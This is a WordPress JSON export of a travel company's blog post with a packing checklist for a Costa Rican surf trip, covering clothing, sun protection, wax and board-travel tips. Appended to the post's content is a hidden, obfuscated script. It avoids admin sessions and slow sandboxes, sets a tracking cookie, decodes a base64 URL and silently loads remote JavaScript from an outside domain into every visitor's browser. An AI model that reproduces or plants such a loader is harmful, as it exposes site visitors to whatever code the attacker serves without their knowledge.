{"id":1014,"date":"2013-12-12T14:54:20","date_gmt":"2013-12-12T14:54:20","guid":{"rendered":""},"modified":"2025-10-17T19:04:42","modified_gmt":"2025-10-17T19:04:42","slug":"what-do-i-pack-on-a-costa-rican-surf-trip","status":"publish","type":"post","link":"https:\/\/tickettoridegroup.com\/blog\/what-do-i-pack-on-a-costa-rican-surf-trip\/","title":{"rendered":"What do i pack on a Costa Rican Surf Trip?"},"content":{"rendered":"<div class=\"field_image\"><img decoding=\"async\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/surf trip.jpg\" title=\"surf trip.jpg\" alt=\"surf trip.jpg\" \/><\/div>\n<div class=\"body\">\n<div>You&#39;ve decided you want to escape the cold weather and treat yourself to a tropical Surf Adventure to Costa Rica. Next point of call is what &nbsp;do i pack?<\/p>\n<p>By this stage the trip has started to become a reality and the excitement has set in. Costa Rica is an east one to pack for with the &quot;less is more&quot; attiude as the weather is so consitently good over there.<\/p>\n<p><strong>Weather and Seasons&nbsp;<\/strong><\/p>\n<p>Dry Season &#8211; December to April&nbsp;<\/p>\n<p>Rainy Season &#8211; May to November&nbsp;<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/CR Temp.png\" style=\"width: 560px; height: 184px;\" \/><\/p>\n<p>We run the majority of our Costa Rican Coures during the dry season so all you have to worry about is warm temperatures and clear blue skies&#8230; not too much of &nbsp;worry! During the dry season the temeratures will get up to the 30 degree mark with lows of 20 so you wont have to worry about bringing the wooly jumper along.<\/p>\n<p>\n<strong>Clothing Checklist&nbsp;<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/pack4.jpg\" style=\"width: 560px; height: 374px;\" \/><\/p>\n<ul>\n<li>\n\t\tT.Shirts<\/li>\n<li>\n\t\tVests&nbsp;<\/li>\n<li>\n\t\tLight pair of trousers for the evening(not Denim)<\/li>\n<li>\n\t\tCouple pairs of Shorts<\/li>\n<li>\n\t\t1 hoody\/jumper for flight over<\/li>\n<li>\n\t\tSolid pair of flip flops&nbsp;<\/li>\n<li>\n\t\tHats to keep the sun off<\/li>\n<\/ul>\n<p>\n<strong>Accessories&nbsp;<\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/surf-accessories-banner.jpg\" style=\"width: 560px; height: 160px;\" \/><\/strong><\/p>\n<ul>\n<li>\n\t\tFirst Aid Kit<\/li>\n<li>\n\t\tRehidration Salts&nbsp;<\/li>\n<li>\n\t\tBeach Towel<\/li>\n<li>\n\t\tWater Bottle<\/li>\n<li>\n\t\tUS Plug Adaptor<\/li>\n<li>\n\t\tBack Pack<\/li>\n<li>\n\t\tMosquito Repellent<\/li>\n<li>\n\t\tGoPro Camera&nbsp;<\/li>\n<\/ul>\n<p>\n<strong>Surf Equipmet for your Boardbag<\/strong><\/p>\n<p><img decoding=\"async\" alt=\"\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/IA6L3585.jpg\" style=\"width: 560px; height: 374px;\" \/><\/p>\n<p><strong>Wax<\/strong><br \/>\nWith the water in Costa Rica barely getting below 22 degrees centergrate, you&#39;ll need tropical white gold with you on your trip.Wax out in Costa Rica will be pricier than the UK as its imported so it&#39;s worth grabbing a few blocks in the UK before you you head out.<\/p>\n<p><strong>Boardies<\/strong><br \/>\nDefinitely no need for a wetsuit in Costa Rica so boardies and bakinis all the way! I would invest in a solid pair of boardies and or bakini as you&#39;ll pretty much be living in this during your time in Costa Rica. Make sure they&#39;re a flexible material and rash resistant. The new Hurley Phantom material is perfect and its worth every penny.<\/p>\n<p><strong>Rash Vest&nbsp;<\/strong><br \/>\nAlthough we all love to get a tan, the sun is pretty brutal in Costa Rica so its a great idea to buy a rash vest to protect yourself when you&#39;ve had a little too much UV and its great if you&#39;ve stated to get a rash on your chest from all the paddling.<\/p>\n<p><strong>Fin Key<\/strong><br \/>\nThese little gems are always needed whereever you are in the world. They allow you to quickly change your Fin Set Up depending on the conditions.&nbsp;<\/p>\n<p><strong>Sun Cream<\/strong><br \/>\nAs we said, the sun is very strong out in Costa Rica so make sure you stock up on some good quality water resistant sun cream. Brands such as &quot;Surfers Skin&quot; are perfect and will stay on throughout your session in the water. It&#39;s also a good idea to invest in zinc for your lips and under your eye lids where the skin is very sensitive to the sun.<\/p>\n<p><strong>Ding Repair Kit<\/strong><br \/>\nYou never know if your board is gonna have a bad day when you&#39;re on a surf trip so its always worth bringing a simple repair kit so you can get back in the water as soon as possible.<\/p>\n<p><strong>Bubble Wrap and Pipe Lagging<\/strong><br \/>\nThe flight over to Costa Rica from the UK is pretty long and you&#39;ll need to change in somewhere such as the states. Boards always go through a beating travelling on a plane especially if you have a connection flight as they&#39;ll be moved from sirline to airline. Head down to your local DIY store and grab some bubble wrap and pipe insulation lagging to protect your sticks!<\/p>\n<p>More on Costa Rica&#8230;.<\/p>\n<p><a href=\"http:\/\/www.ttride.co.uk\/blog\/12801213-what-waves-will-i-surf-my-costa-rican-surfing-adventure\">What Waves will i Surf on my Costa Rican Surfing Adventure?<\/a><\/p>\n<p><a href=\"http:\/\/vimeo.com\/66161946\">Costa Rica in HD Video<\/a><\/p>\n<p>\n<\/div>\n<\/div>\n<div class=\"field_blog_blurb\">\n<div>Blurb<\/div>\n<div>When you&#8217;re traveling on a Surfing Holiday its always important to pack the right gear. This blog gives readers an idea of what to pack in terms of clothing and Surfing Equipment.<\/div>\n<\/div>\n<div class=\"field_meta_title\">\n<div>Title<\/div>\n<div>What do i pack on a Surf Trip to Costa Rica?<\/div>\n<\/div>\n<div class=\"field_meta_keywords\">\n<div>Keywords<\/div>\n<div>Surfing, Costa Rica, Packing, Checklist<\/div>\n<\/div>\n<div class=\"field_meta_description\">\n<div>Description<\/div>\n<div>This Blog will tell you best things to pack when going on a Surf Trip to Costa Rica in the Dry Season. <\/div>\n<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>You&#39;ve decided you want to escape the cold weather and treat yourself to a tropical Surf Adventure to Costa Rica. <a class=\"read-more\" href=\"https:\/\/tickettoridegroup.com\/blog\/what-do-i-pack-on-a-costa-rican-surf-trip\/\">Read More<\/a><\/p>\n","protected":false},"author":2,"featured_media":4617,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[594,1],"tags":[],"jetpack_featured_media_url":"https:\/\/tickettoridegroup.com\/blog\/wp-content\/uploads\/surf trip.jpg","_links":{"self":[{"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/posts\/1014"}],"collection":[{"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/comments?post=1014"}],"version-history":[{"count":2,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/posts\/1014\/revisions"}],"predecessor-version":[{"id":29241,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/posts\/1014\/revisions\/29241"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/media\/4617"}],"wp:attachment":[{"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/media?parent=1014"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/categories?post=1014"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tickettoridegroup.com\/blog\/wp-json\/wp\/v2\/tags?post=1014"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}